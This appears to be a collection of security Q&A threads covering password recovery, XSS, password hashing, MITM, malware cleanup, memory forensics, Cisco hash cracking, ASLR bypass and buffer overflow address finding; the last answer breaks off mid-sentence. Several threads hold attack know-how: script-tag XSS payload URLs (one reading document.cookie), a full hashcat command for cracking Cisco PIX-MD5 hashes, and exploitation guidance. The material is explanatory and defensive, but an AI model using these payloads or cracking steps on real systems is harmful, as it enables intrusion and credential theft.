Clicking on the link takes me to a change password screen, but it also logs me in to the account, giving me full access to all the account info. In fact, I don't even need to change the password at all at that point.

Does the above scenario represent a security risk in anyway? If so, how? And what is the way it should be handled instead?

Well, part of the procedure could be considered to be unsafe: when a user has access to your email account AND knows what websites you might have registered accounts at (like FaceBook, Twitter, Google and the lot). That is probably the most simple and most obvious security issue that might arise here.

We could also take a look at the questions "can the email be intercepted in any way" and "is that recovery-link using a strong, random key or could someone guess it"... but I guess that's overkill. For the regular scenario of password recovery you described, I would say that the only real "security problem" is the one I described above: someone has access to your email and knows what sites to check out and recover your passwords.

As for the damage that might be caused... that depends on what websites the "intruder" is able to recover passwords for. You'll probably won't mind losing your Twitter account in a worst case scenario, but this shows why online-banking accounts do not offer that kind of "password recovery" in the first place. There "could" be a chance someone's watching over your shoulder.

Wrapping it up by giving you a solid hint to work with: if your MyApp.com is something that could financially ruin people when put in the wrong hands, don't use this kind of password recovery... but if you're creating the next Facebook or Twitter, you're good to go with such a recovery procedure.

Hope that helps. ;)


Security reason why one should upgrade old web server to modern Java EE Web Application Server Currently the company I work for uses Sun Java System Web Server 6.1 SP9 and Java 1.4.2.  I know this version of Java reached its EOSL around 2008.  The Sun Server still seems to be supported but it's a headache to do real development on.

Can anyone provide some good [security or otherwise] reasons why this server should be upgraded?  Keep in mind that this is an internal coprorate intranet server.

I am submitting a presentation to an IT review board requesting an IT project to upgrade but they require reasons other than it will make my coding easier.  Since security is a high priority here, I was hoping to dig up some some security vulnerability.

Project approvals are also assessed and priotized based on some of these additional criteria.

Is it required so we are in compliance with laws/regulations?
Does it resolve any current business or security risks, and how?
Does it increase profitability in one or more of the following ways?

Reduce span time
Optimize resources (labor or material reduction)
Reduce overhead
Standardization of Software or Hardware

Does it ensure or enhance stability of our systems / infrastructure?
Does it streamline a process?
Does it support R&D or New Business?
Will it aid in retaining and sharing knowledge?
Will it aid in collaboration with customers, vendors, other business units?

I haven't looked at it, but chances are big that there are security vulnerabilities in your named versions. Just have a look at exploitsearch.com.

Another reason would be that you can work more efficient. Say it costs X dollar to update your server. Also assume that if you update to newer java version, you can do your work 10% more efficient (which is about 45mins a day). Say you cost 100$ a day for the company, they save 10$ a day each day you develop. Just calculate how much money will be saved by the company in 1 or 2 years

Final reason, imaging shit hits the fan and the server crashes or whatever. You have no support at all from the vendor, imagine how much more time this will cost you to troubleshoot and solve without the tech support.

One more which comes to my mind, even if there aren't any security bugs in your setup, they may be in the OS you're running on. New OS'es are usually not fully backwards compatible, so one day the OS will have breaking changes (updates/service packs/etc). Besides that this is hell to troubleshoot, it would force you to do a update of your OS and of your application landscape, which is even harder to troubleshoot. So updating it one by one makes life easier (stability of systems).


What are the implications of omitting the username in Secure Remote Password's verifier? I consider implementing a Secure Remote Password (SRP-6a) verifier that omits the username from the x key hash. The intention is to allow authentication with multiple alternate user identifiers such as uid and email.

The verifier is normally computed like that:

v = g^x mod(N), x =H(salt || H(username || ":" || password))

Instead I consider having this (username not included):

v = g^x mod(N), x =H(salt || H(password))

Are there any security implications to that?

The original SRP specification used H(s,P) for a not-thoroughly-specified password derivation scheme, which includes the salt and the password together (but not the identity). The first draft for RFC 2945 (that's SRP-3, predecessor to SRP-6) already includes the user name in the hash.

Usually, the inclusion of the user name in a password derivation scheme is meant to simplify security proofs; with the inclusion of the user identity, one can study the security of SRP without having to bother (much) with what happens when an attacker plays tricks between a server and several clients (e.g. tricking two users into talking to each other, each one believing that the other is the server). Protocols with more than two parties are exponentially more difficult to analyze; the user name as part of the hash makes the security of the whole thing simpler (which does not mean simple, only possible to study).

Therefore, implications of omitting the user name from the hash are, at best, not investigated. So, do not do it. This is also the general advice about cryptographic algorithms and protocols: do not fiddle with them, because security is a subtle thing and you cannot know, by yourself (even if you are a competent cryptographer), if you still have it or not after any minor modification (it takes a lot of competent cryptographers to know that).

For your specific problem, I would advise registering several "users" for all the identifiers that the user may wish to use, and logically link them to the same identity once the protocol has run.


How do web browsers detect XSS attempts when the X-XSS-Protection header is enabled? Simple question but hard to understand how web browsers make the distinction between legitimate and malicious code when mode=block is enabled?

Of course, I would like to know how each rendering engine works.

You can read up about the Chromium XSS Auditor here. Basically, it checks to see if client-side code was reflected from the URL query. For instance, the following page contains a legitimate piece of code that creates an alert box (<script>alert('123456');</script>). The XSS Auditor will trigger if you navigate to the same page but with the code snippet in the URL, because the Auditor assumes that the "payload" was reflected from the URL query:

http://webdbg.com/test/xss/alert12345-mode1block.aspx?%3Cscript%3Ealert(%2712345%27)%3B%3C%2Fscript%3E

Try changing 12345 to something else and observe how the Auditor now renders the page because the alert()s' values no longer match.

The comments in the XSS Auditor's source code are particularly helpful in getting a better understanding of how it can tell legitimate and malicious code apart, most notably the following comment:

// If the resource is loaded from the same host as the enclosing page, it's
// probably not an XSS attack, so we reduce false positives by allowing the
// request, ignoring scheme and port considerations. If the resource has a
// query string, we're more suspicious, however, because that's pretty rare
// and the attacker might be able to trick a server-side script into doing
// something dangerous with the query string.

This also indicates why the XSS Auditor does not prevent stored XSS payloads from executing.


How to provide security for passwords stored in Database? Passwords of end Users are stored in Database which is encrypted (using one way hash like MD5). Apart from me, there are 'other' people belonging to other teams who have access to Database which means access to schema and the particular table where passwords are stored. By other teams, I mean Database Administrators who will try to know purpose of a column & table for creating indexes, normalization etc. Other teams also include System Administrators who take backups regularly.

Even though am using one way hash, there are sites which will help in decryption of these passwords by matching against their Database.

So, its as good as exposing passwords of end users to 'other' people who are not intended to know. I cannot restrict view permissions of these tables to 'other' people who also have to work on these tables for some other reasons.

Its a question of ethics. But, an attacker doesn't have any ethics(that's what I believe).

What options do I have in this regard?

You can start of by using a stronger hashing mechanism like SHA-2 instead of MD5. Also you can make your hashed passwords' database more secure by using salted password hashing. I did a presentation in my class once about password hashing and I found this link and this one too to be very informative (apart from the Wikipedia). Hope this helps you too.


Practical Man in the middle with bad legitimate certificates Back in 2011 a hacker managed to generate legitimate signed certificates for gmail.com and other communication domains.

Practically speaking, is that enough for him to eavesdrop on any person's communication? My understanding is that the attacker would at the very least need DNS spoofing to lure victims to "bad" gmail.com and then need "bad" gmail.com to mimic actual gmail.com to fool people into entering passwords/sending mails. If the attacker controls a network (such as wifi at a cafe), he could configure an SSL proxy with this "bad" certificate and get all the communication, but lets assume that isn't the case.

My question is: How can legitimate certificates obtained by bad guys for known domains cause a problem on their own?

DNS spoofing is just one of the available means to perform a Man-In-The-Middle.

You can for example perform an ARP cache poisoning attack if you are on the same network than the victim, set up a fake open WiFi access point, or perform BGP hijack to intercept some traffic that is routed to Gmail.

So yes, "bad" certificates are only a problem if the attacker can perform a MITM attack, but we recently learned that some companies were performing them at large scale. So bad certificates can cause harm.


Wireshark unable to capture layer 3 I'm new to Wireshark. I'm trying to visit google.com and capture the packets. However, Wireshark is only showing me layer 2 packets as shown below:

Hence, filters like ip and ip addr == x.x.x.x are not showing anything.

I want to see layer 3 packets as well. How can I do this?

Assuming you have chosen the right interface (but "en0" looks reasonable) I'd say you seem to be in "monitor mode". Try and disable this at

Edit / Preferences / User Interface / Capture / Interfaces: / Edit / Device: en1 [x] Monitor Mode

Monitor Mode is needed if you want to capture traffic which does not originate from or terminate at the machine you are running your capture on. But from you question I learn that you want to capture the traffic you are creating yourself when connecting to Google.

For background information on this subject, have a look at https://wiki.wireshark.org/CaptureSetup/WLAN.


What information can Adobe Reader and MS Word send over the internet when a document is opened? I was reading the warnings with Tor and was curious about this one inparticular:

  Don't open documents downloaded through Tor while online

  The Tor Browser will warn you before automatically opening documents
  that are handled by external applications. DO NOT IGNORE THIS WARNING.
  You should be very careful when downloading documents via Tor
  (especially DOC and PDF files) as these documents can contain Internet
  resources that will be downloaded outside of Tor by the application
  that opens them. This will reveal your non-Tor IP address.

In what way can opening a DOC or PDF reveal the IP address of a user who's in possession of it (without following a link)? I didn't know just opening a .docx file can communicate arbitrary information to an arbitrary server on the internet?

When started, Adobe Acrobat can initiate a "phone home" to check for an update; this might include an installation-specific ID that could be exploited by an intelligence agency, so your TOR session's address might be associated with your installation. Or the document may have a custom unique certificate with a CRL that identifies the reader when it's checked, or that certificate ID could be monitored at an OCSP server. Or there may be malicious code exploiting an unpatched bug in Word that communicates back to whoever is trying to trace the document.

DOC and PDF documents are likely being called out because they have historically had poor track records with respect to exploitable bugs.

It's possible to configure Acrobat Reader to not intentionally communicate, and to turn off macros and such in Word, but one careless setting and you may be completely exposing yourself. Not opening the documents while online simply avoids most of the potential vulnerabilities, and is very easy advice for people to follow.


Website infected with unwanted "redirections", apparently via javascript code I'm working on a clients website, and I realize they've been compromised.  Early today there was a major problem with a php eval(base64_decode issue.  That was cleaned up via Andy Stratton clean.php repair (which searches for infected files and then deletes them.)  Website was rebuilt with virgin Wordpress code and a trusted theme.  12 hours later I'm seeing lots of unwanted redirects. The redirects are going to an odd site overseas somewhere. In fact, redirects may not be the correct term.  I can see all of the original sites content loading up in the developer tools, and at the end of the load it grabs an image and a music player, and pastes up a simple html page.  The image is http://i.hizliresim.com/g4rXl2.png  The displayed url was the original selected on the site.

As I do just a bit of testing, I find that the issue seems to be related to JavaScript.  If I turn off the JS, no redirects.  Here are my questions:  Can I use the JS tools in Chrome to identify which file is most suspect? (pause on exceptions, etc.. )  Is there any way to scan all the files to look for evil JS code? I've tried the common tools & locations to review, with no avail. Its definitely not a .htaccess issue.

I'm very curious if I might be able to step thru the JavaScript code in Chrome and see where things go astray. I suspect the fix for this is to wipe the VPS and reinstall, but in the mean time, I'm curious.  Can I detect where the evil code is located?

And note, I don't have complete access to the server. I only have simple cPanel & FTP access.   Additionally the site is being served thru CloudFlare. Many thanks for your help.

Update:  We've figured out where the errant code was located..It was in the mySQL database in a cell normally reserved for widget content.  The code was quite large, 1530 lines of gobbledy gook.  Some words in the clear, others in cryptic code.  Its heavily obfuscated with code with : and ; elements.  Apparently this customer has been hit before, their current web guy wants to throw bandaids at the site.  I think I've convinced the business owner to put his business elsewhere, and secure up everything.

One question.  Because the Database is compromised, is there a safe way to clone the site on a new server?  I guess I can search the DB for familiar patterns based on this one block of code, but that really isn't robust.  I know I can create a content XML backup from the admin control panel --> Export.  The format is actually called WordPress eXtended RSS or WXR, and it will contain  posts, pages, comments, custom fields, categories, and tags.  I can review those entries visually, to see if things make sense.

Any other ideas on cloning a site with at least one virus in the DB??

Also, Is there a repository for legitimate folks chasing down viruses' for submitting this example of recent JavaScript activity?  Obviously I'm not going to post it here, to avoid giving others a chance to create more.  e.g. do I submit the code to folks like sucuri.net  or somewhere else?

You seem to be asking:

Is it possible to reverse engineer Javascript malware

Yes. And you don't need acces to the server to do that. However it is possible for the malware author to make it more difficult to do so. I won't enumerate the potential methods here - they are (mostly) well described elsewhere. Most attackers don't bother with such sophistication - particularly where its not a targeted attack with significant financial value.

Is it possible to identify where the code is being injected on the server
Yes, but you need a working knowledge of the CMS, competence at programming and access to the server (or an image of it).

The question you should be asking is what is the vulnerability in the service. You have only dealt with the symptoms of this problem - not the cause.


How do browsers handle document.write in this DOM based XSS case? OWASP mentions the following example of code vulnerable to a DOM based XSS attack:

Select your language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>

And they say it can be attacked with the following URL:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

This makes me wounder if the web browser does JavaScript evaluation twice? I.e., does it run document.write's first and then turn the code into the output displayed below, and then run it again to execute the alert box script? How are the HTML and JavaScript parsers triggered - parallel/sequential/top down/bottom up? What's the order they follow?

Select your language:
<select>
<OPTION value=1><script>alert(document.cookie)</script></OPTION>
<OPTION value=2>English</OPTION>
</select>

First the browser hands over the incoming data to the HTML parser, that starts working from the top of the document and down. This can happend even before the document has finnished downloading. As soon as the HTML parser comes to a script tag, it hands over the content to the JavaScript engine that start executing the code right away.

If the script contains document.write, it will write content to the document stream that the HTML is reading from. So the content will end up right below the script tag that created it.

When the script engine is done, the HTML parser continues parsing the document after the script tag. There, the first thing it will find is the ouput from document.write that it will happily parse. If that ouput contains another script tag, it will run it just like any other.

So it's only one pass, top down, with the initative switching between the HTML parser and the JS engine. Or, to say it with an image... You know that scene from Wallace & Gromit where Gromit is sitting on top of a toy train, laying out the tracks in front of it as it speeds forward? Well, the train is the HTML parser, Gromit is the JS engine doing document.write, and the tracks is the document stream.

I'll admit that this is a bit of a simplification. For instance, the browser may continue parsing the HTML document while it runs the script in the hope that the script will not use document.write. And then there's the HTML5 async and defer as well.


How to estimate threat and risk associated with that threat and not only vulnerability severity? Having this simple formula Risk = Threat x Vulnerability x Information Value it is quite difficult to estimate risks quantitatively because of threat estimation seems to me the most difficult part.
I aware about CVSS and other vulnerability scoring systems. However it seems that such systems provide a single score for vulnerability only, without estimating threats and asset values. Besides that, scores cannot be used in such formula. Let's say we have two vulnerabilities with CVSS score equal to 7.0. They can be in different components with asset relative values of $10k and $1M. Of course I can't multiply the score by asset value to compare the risks.
Coming back to the first formula, do I understand correctly that threat and vulnerability in that formulae have some probabilistic meaning, and they are not scores in that formula? If so, are there any frameworks for their, and thus risk estimation?

Quantifying based on the formula
There is a massive misunderstanding in risk in general, and you are running into this misunderstanding.
That's not a formula!
Risk = Threat x Vulnerability x Information Value describes a relationship between those factors. You are not supposed to drop numbers in there and come out with a quantitative result.
Note that there are other risk assessment "formulas", and your example is just one. Every assessment model has a place and is used in different contexts. They can also assess different kinds of risk. There are Inherent Risk and Residual Risk assessment models.
Scoring vulnerabilities
As for your example of two vulns with a CVSS score of 7.0, but they are in different risk contexts: the answer is that the scoring of the risks are different because they are in different contexts. The different contexts also likely mean that the threats are different, too. The vulnerability is not a risk in and of itself. The vulnerability can be assessed and scored independently of the risks. That's why there is a separate risk assessment process.
Many infosec professionals equate and confuse "vulnerability" with "risk", and will often swap one term with the other. But they are different ideas and the assessment model highlights that.
Where's Probability in the formula?
Risk = Threat x Vulnerability x Information Value does not include any notion of probabilities/likelihoods. Probabilities are replaced by "threats" as it can be difficult to quantify probabilities of loss in information security. Quantifying threats is much easier and repeatable. So, likelihood gets rolled into the "threat" factor.
Estimating Threat
Threats are independent of vulnerabilities and impacts. Flooding is a threat, but if I live on a mountaintop, my vulnerability to flooding is really low and so is the impact. If I lived in a submarine, my vulnerability to flooding is high and so is the potential impact. So, you need to assess threats in context.
One way to do that is to assess the threat in relation to different impacts and segment the threats:

What is the threat of rain causing interior water damage on the walls?
What is the threat of rain causing an inch of water on the floor?
What is the threat of rain filling a room with water?
What is the threat of rain washing the house away?

By segmenting the threats, you can assess your risks with more sophistication and treat the different scenarios differently and more efficiently.


Integrity of LIVE forensic evidences (e.g. memory dump) I'm wondering how can I prove the integrity of a computer forensic evidence which was obtained from a running machine (e.g.: memory image). As soon as I do anything with that box, connect a pendrive for example, I alter the registry hives in the memory, and probably on the disk as well, will be altered. How can I ensure that the evidence is still admissible? How can I ensure that the memory image is the same as it was at the time of the examination? I'm afraid there is no solution for this. Does anyone have any court experience with this? What could be accepted by the court?

To avoid any misunderstanding I'm not talking about imaging a standalone HDD with writeblocker and stuff.

Disclaimer: I'm not a lawyer, so my advice is not binding.

There isn't a failproof way to keep memory in a specific state.  Yet, there is a way of arguing that a memory dump can be reproduced and/or argue that you can tell which parts of the memory may have changed.

Proposed tactic

The moment you are making a full memory dump, several processes are running and a kernel is scheduling them.  And, moreover, it is possibly swapping memory pages between physical memory and a disk area (swap).

So the first thing you need is to get the memory dump and the swap are at the single point in time.  Second you need to get the state of the CPU registers (I'll come back to it in a moment).

I'm thinking in terms of a Linux machine because it is the OS I'm most familiar with.  For that OS you can dump /dev/mem and dd the swap areas, or use something like LiME.  For other OSes the are several alternatives.

Now, to be able to argue that the memory dump can be reproduced you will need to find and analyze the Global Paging Table (PT).  That table resides in memory and links memory access by the kernel onto the actual parts of memory.  The location of the table should be in a register (register CR3).  But this is why you need the registers, all of them not just RAX, RBX, RCX, RDX, R5, R6, RSP, etc), so the CPU unit responsible for paging can access it.

It is viable to argue that if you can make an index of the PT you can tell which part of the memory may get updated.  How?

The PT holds pages in the physical memory and on the swap too, so your index covers the entire memory.
DPL (part of the PT) will tell you which pages are owned by the kernel and which are owned by user processes.

Now, based on what the machine does you can tell which memory pages may have been affected and which don't.  For example, connecting a pen drive (assuming that the machine does not perform clever udev rule or similar) should only change kernel pages (well, almost, virtual filessystems, e.g. /proc would also be updated).

Pessimistic reality check

Unfortunately, most OSes today will run daemons that will periodically scan userspace visible part of the kernel and act upon it.  Possibly messing userspace (DPL 3) pages considerably.  You will definitely need physical control of the machine, and analysis of what happens (userspace-wise) when you do something to the machine.

Optimistic notes

On the bright side, when you have the memory dump divided into pages, you can reproduce the sate of the machine (to a good extent).  For example, you can boot a VM, start a kernel debugger and overwrite all memory pages one by one.

How that would be seen by a court, may still depend on more classic forensic points.  For example, how do you prove that the memory dump in question is of the machine you claim it to be.  But that is something that can be solved by procedures that document exactly how the forensic was performed on the machine.

References/Related

Forensics Wiki - Memory Imaging
How to dump memory in Linux - unix.SE
There is a digital forensics tag on law.SE I believe that the most relevant answer there is: Can data from computer forensic investigation be denied as evidence?.  They argue about chain of custody.


Cracking CISCO ASA Passwords I've got a copy of a Cisco ASA config and i want to crack the following example passwords

I've got the following lines in the config

  ASA Version 8.4(2)

  !

  hostname ciscoasa

  enable password 8Ry2YjIyt7RRXU24 encrypted

  passwd 2KFQnbNIdI.2KYOU encrypted

  names

  !

So I want to try and crack the enable password, but i don't know what format it is or what tool i can use to brute force it. (Note the hash there is not the real hash, just a random hash i found online like the original)

I already know the password is “cisco” for passwd, but if that was different, how can i go about cracking it?  Are these two passwords the same format/hash type (the first doesn't have any 'punctuation' but that might just be by chance.

I'm familiar with cracking the MD5 passwords, level/type 7 'secrets' etc but not cracking the enable password for IOS devices.

Extra Credit:

There are also the following lines with multiple usernames in it which i assume are the same format as above.

  !

  no threat-detection statistics tcp-intercept

  ntp server

  webvpn

  username test password hmQhTUMT1T5Z4KHC encrypted privilege 15

  !

I tried adding the 'known' cisco hash into the PIX-MD5 in cain manually, but it didn't work (used a dict with cisco in it). See below:

Hope someone can help,
Thanks!

The Cisco ASA config you have provided appears to use CISCO PIX-MD5 hashes.

Both the VPN settings mentioned above and the enable/passwd are not salted, contrary to what the hashcat.net thread suggests in Peleus's post.
It is worth while checking this site: Nitrix Hash Generator
In there you can enter 'cisco' as the password and you'll recieve the common

  2KFQnbNIdI.2KYOU

hash back out as you have in the above config. You can repeat the process for blank

If you've used oclHashcat-plus before, the following command worked perfectly to crack it on windows for me.

  cudaHashcat-plus64.exe --hash-type 2400 C:\Users\user\Desktop\hashes.txt C:\Users\user\Desktop\password.lst

On my machine i got about 70,000k/s with GPU acceleration.
I always recommend using a good word-list like this: crackstation's list


Security Implications of setting passwd as suid When the passwd command is executed, it runs as the root user. Can't this be exploited? If not, why?

"Exploiting" an application means making it do, with the privileges under which it is running, some things that it was not meant to do. passwd runs as root because it needs to read and modify files (in particular /etc/shadow) that can be read and written only by root. The normal behavior of passwd is to alter the password of the user who runs it (passwd is SUID-root so it has the privileges of the root user, but it stills remembers who executed it) and there is code in passwd which enforces that rule. To exploit it, one would need to find a way to bypass that code, i.e. a bug in passwd.

Being SUID-root does not automatically imply being exploitable. Rather, a non-SUID-root application does not have extra privileges so there is no point in exploiting it.


How does one verify that a Python script is a pure math function? I have a Python project that dynamically loads Python scripts from a set of specified directories and executes an expected function off of them (the framework expects a function name that takes a certain number of parameters, but the implementation is unknown). To harden the security of this application, I would like to analyze the scripts to ensure that they are just pure math functions and, therefore, not interacting with any system components such as the HDD/SDD, the network, a database, etc. Is this even possible to do in Python?

I'm afraid this is not possible. After all, your problem boils down to asking "is this code malicious?", and it we could reliably answer this question then malware would no longer exist.

You could mitigate this issue by allowing users to build their script using a set of allowed functions which you consider as safe (even though nothing is totally safe and there may be bugs in those functions that allow to do evil stuff) and only allow certain arguments (integers and references to previously defined variables) to further complicate an attacker's task (they can't just pass a string to a vulnerable function, yet another thing they need to work around). Of course you'll need to do all this validation server side, don't rely on client-side Javascript to enforce this.

Another option would be to accept any code (with a reasonable size limit) and running it in a VM with no network access and that can only communicate with the host through an emulated serial port to get the data and return its result (you can provide helper functions in your environment like get_input and set_output that would internally use the serial port to communicate with the host. You could make that even safer by running the VMs on physically separate machines that are considered untrusted and themselves only have a serial port to talk to the outside world. That way even if they do get exploited the attacker will have a hard time making any use of them.


If Xampp is not secure enough for a production environment what should I use? I am not even sure if this is the right place to ask this but here goes:
I am thinking of running my own small website from a home server. I have been using Ubuntu 12.04 with xampp as my server machine but from what I hear Xampp isn't secure enough to be used in production. Is this correct? if not what should I be aiming for? if so how do I secure it as much as possible anything I need to check? I need PHP and MySQL on the server.
Thanks in advance,

You are using an Ubuntu machine and there for it comes with it's own LAMP stack.  Just type in sudo tasksel and then select lamp and hit enter.  Done!

(Also yes,  Apache Fiends XAMPP is insecure,  usually outdated,  and doesn't update as nicely as apt)


Bitlocker without TPM with both a startup USB and password? On a Windows 8.1 Pro PC without TPM, how can I use Bitlocker with both a startup USB drive and password?

I don't have the option to use both of them, is this possible via command line?

Currently, using Bitlocker with TPM and a startup USB and password is possible, so it should be possible with a startup USB drive and password but no TPM.

This guide explains it quite well, although consider following the steps below rather than downloading and running .reg files from the internet.

One can turn on Bitlocker without TPM but has to modify the registry in order to allow this, as this isn't what Microsoft originally planned as the drive won't be bound to the computer any longer. For company's convenience this option was added but hidden.

Steps:

Open the group policy editor (gpedit.msc) as admin.
Go into the "directoy" (left sub-window) "Computer Configuration/Administrative Templates/ Windows Components/ BitLocker Drive Encryption/ Operating System Drives"
Open the "Require additional authentification at startup" entry (right sub-window)
Set the radio box to "enabled" and check "Allow Bitlocker without a compatible TPM"
Optional: Change the cipher strength (128 or 256 bit, difference: 128 is secure for ~50 years and 256 for ~200 years) using the "folder" directly above ("BitLocker Drive Encryption") and the "Choose drive encryption method and cipher strength" entry. Check the enabled and choose your cipher in the dropdown menu.
Encrypt your drive as you normally would.

It seems like USB + PIN is not an option any longer in Windows 8 :(


Any reason to have a recovery email/phone if I will NOT ever forget my password? Assume that I will never, ever, forget my (in this case, Google) account password.

With that in mind, is there any benefit whatsoever to setting up a recovery email/phone/etc.?

Or are all of these services only useful in the case of a forgotten password?

TL; DR

It's a really good idea to have these set.

In addition to recovery options, they can also be used for setting up 2Factor authentication or other types of verification as well as a backup spot for notifications about "New Sign-in from XXX". To help detect unauthorized activity.

Additionally, consider the case where someone tries to brute force your login and locks you out of your account. You may need the recovery email to get back in. Without recovery options set, an attacker may also be able to get in to your account through the forgot password process since you have no backup accounts for Google to bail you out with.


What happens to a VM when you delete it? I was curious what happens when you select "delete all files" option in Virtualbox? Are files saved on the installed OS in Virtualbox recoverable on your hard drive? Is there a secure way I can delete or hide data that is or was on a VM?

Thanks to Owen for providing an answer to this question!

Assuming a simple VM setup is being used with one virtual disk, all files are stored on the virtual disk which is a file. Using a secure erase feature with your desired erase or "wipe method" to that file, on your platform  should do the trick. Note that this will not get rid of all traces of the VM. Certain configuration settings and info are not stored in the virtual disk and if you added any shared folders from the host machine to the VM they will continue to exist on the host machine.


Can you pick up any device specific information by monitoring bluetooth signals? Could I use some sort of permanent device ID broadcasted by the bluetooth radio in my phone to do something like unlock my door?

I don't want to have to ever pair the device, or take it out of my pocket (rfid, nfc).

I just want to be able to pick up some unique identifier being broadcast from my phone. (could be something other then bluetooth, that's just what I thought of)

NOTE: This isn't a security layer, that is handled by something else, so I don't mind if the options carry no inherent security with them, they just need to be able to detect myself from a friend.

Firstly, big fat warning: this is not secure.

Bluetooth devices have MAC addresses in a similar vein to 802.11X wireless cards and 802.3 ethernet cards. You could periodically scan for the presence of a known MAC address. There are nominally 2^48 (281474976710656) possible such addresses but as with ethernet cards the first 24 bits will be reserved for a manufacturer, so if an attacker has observed your phone, then there are only 16777216 possible combinations for a known manufacturer. Given that it is possible to have the same number of manufacturers (16777216) and given there probably aren't that many, the attacker only needs an assigned list of known manufacturer codes to greatly reduce a brute force.

If your device has ever been bluetooth-enabled near an attacker aware that you are depending on the MAC address, then chances are high this information has again been compromised. Any OTA transmission will reveal your MAC, much as is the case for wireless access points, the only difference being the level of proximity to you that would be needed. Anyone who has ever paired with you will also have that address.

I don't honestly believe such a system adds much security in and of itself. Blunders is correct, you need additional secure link information. But if you're happy with just a number and don't care that it's about as secure as leaving your laptop in a pub with a post-it on it saying "steal me", this should be fine.

Here's an article that backs me up.


VPN block by nation states If possible, how would a nation state prevent a SSH connection to a US visitor's home IP in the United States?  Assume that the visitor is not a dissident, journalist or of any particular interest to the nation state and just wants the freedom to view (not send) his messages.

One option is to just blacklist residential IP ranges. Other option is packet inspection. An SSH tunnel can be distinguieshed from standard https


Bypassing ASLR using information leaks Most of my questions were answered in this post ASLR bypass with info leak

However, I just want to know the process of getting the memory address from the information leak to then using it in the final exploit.

It seems to me that there is a two step process involved:

Use the first exploit to target the first vulnerability and get a memory address (printed to screen? What are the other ways?)
"Copy and paste"? the address into the second exploit where it will compute the offsets required and send the second exploit targeting a second vulnerability, all this while the targeted process is still running (from step 1).

So it requires either some manual or automated method to pass the memory address from step 1 to step 2.

The part that I don't quite understand is how does one get from step 1 and pass the information to step 2?

Yes, it is indeed a two step process. That means the target process must indeed provide some means for you to interact with it in multiple steps. Basic exploitation exercises are often limited in that they do not provide much in terms of interaction, but a real target will most often provide some means to establish a session or exchange messages. For example, if your target is a web server, you may send a bogus request to leak a dump of the stack. Then, with another request, you may exploit some write primitives to achieve code execution. Other typical examples include attacking the browser from JavaScript, or attacking the kernel from user space. In these cases, you would code a typical (or not so typical) program that performs service calls to the underlying platform in order to leak information (maybe written to some memory locations that you can read from your program) and eventually exploit some write primitives to gain code execution or whatever you want to achieve.

Information leaks in general could take any form. Any channel through which you can communicate with the server could leak information. Just a random example: imagine a pdf generation service that takes a doc file and creates a pdf. You may provide a bogus doc file that makes the service dump a chunk of heap or stack memory into the generated pdf, which you would then download, and then provide a second doc that completes the exploit.

In general, how you will go from step one to step two is heavily dependent on the target system and the kind of vulnerabilities being exploited. In many cases there will be way more than just two steps, so automation is not a bad idea. If automation is indeed an option, you may want to create a script that performs the steps in sequence. Back to the web server example, you could write some Python or Ruby script that sends the first request, reads the response, extracts relevant information, prepares the second request computing addresses where appropriate, and sends the final request to the server to finish exploitation.


Buffer Overflow memory address calculation on 64bit I have a assignment where i must exploit a buffer overflow vulnerability on a remote machine. I have only execute permission on the program, so i cant use gdb. I managed to take control of the rip and i can successfully overflow and write my own address. My shellcode is ready (it has executable stack and ASLR disabled) but i cant find the right address to return. It is a 64bit machine so nop padding is not an option. The main goal is to access a log file which the executable updates every time it runs. (it's a university assignment do not worry about illegal actions)

What can i do? Is there a way to calculate the memory address of the buffer, or another way? Any help would be appreciated

If you fimilar with gdb and can control rip, then you are one step away from the solution.

Let's make a small example

void main() {
  char* buff = "asdf";
}

compile it

$ gcc test.c

and then use debugger

$ gdb a.out
 (gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
 0x00000000004004d6 <+0>:   push   rbp
 0x00000000004004d7 <+1>:   mov    rbp,rsp
 0x00000000004004da <+4>:   mov    QWORD PTR [rbp-0x8],0x400574
 0x00000000004004e2 <+12>:  nop
 0x00000000004004e3 <+13>:  pop    rbp
 0x00000000004004e4 <+14>:  ret
End of assembler dump.

So our variable buff is at rbp-0x8 on the stack. If ASLR disabled - the address is always the same. You can get it with:

(gdb) break *0x00000000004004e2
Breakpoint 1 at 0x4004e2
(gdb) r
Starting program: ./a.out
Breakpoint 1, 0x00000000004004e2 in main ()
(gdb) p $rbp-0x8
$1 = (void *) 0x7fffffffdbd8


Does the CA create the public key or is it created by the requesting server and sent to the CA? This link says that the requesting server creates the public-private key pair and sends the public key to the CA inside the CSR. However, DigiCert says:

The CSR is submitted to a Certificate Authority (CA) which uses it to
create a public key to match the private key without compromising the
key itself.

I'm confused. Why would the CA create the public key when it receives it in the CSR?

The former is correct, as verified by RFC 2986: PKCS #10: Certification Request Syntax Specification:
The process by which a certification request is constructed involves
   the following steps:

        1. A CertificationRequestInfo value containing a subject
           distinguished name, a subject public key, and optionally a
           set of attributes is constructed by an entity requesting
           certification.

        2. The CertificationRequestInfo value is signed with the subject
           entity's private key.  (See Section 4.2.)

        3. The CertificationRequestInfo value, a signature algorithm
           identifier, and the entity's signature are collected together
           into a CertificationRequest value, defined below.

Paraphrasing: the public key of the subject (the requester of a certificate) is included verbatim in the CSR. It is not "computed" by the CA, but it is used to verify the signature of the CSR (to ensure that it was indeed requested by the holder of the key pair and not tampered with).
As for the DigiCert article: it goes on to state:

the SSL certificate itself is sometimes referred to as "the public
key."

This would explain their use of "public key" instead of "certificate". As you noticed, this only brings confusion to an article supposed to explain the use of key pairs.


Filling out ssn on a web form for printout purposes We have a website that requires some private information such as ssn to be filled out.  The users would have to complete the form, print, then fax the form.  We don't store the ssn information but we do store the other fields, such as name, email, etc.  The users are just filling out the SSN on the form so they don't have to manually write it out after they print the form.

Is it against any regulations or are there risks in having the user fill out the ssn on the form eventhough the website doesn't save/store it?  The website does use SSL.

Please pardon my explanation if it is not thorough enough.  thanks in advance.

I Am Not A Lawyer.

IMHO, what matters here is the possibility for the SSN to be sent over network via you web form and captured. For example, if the SSN is an input field in a form that is used to upload other data, it may or not matter whether the SSN is or not processed by your application. One may argue that your application sending it unnecessarily is an exposition of sensitive data.

SSL is probably enough, but as you do not intend to use it, just do not transmit it. A simple way to have a printable form that will never be sent over network is to use a form with no sending button and an explicit invalid sending address. For example, a form ation URL like "http://127.0.0.1/INVALID_DO_NOT_USE" could be an additional security, even if it is rather hacky...

But my advice here would be to use a PDF form. If all you want to do is to print the form, PDF has two nice points:

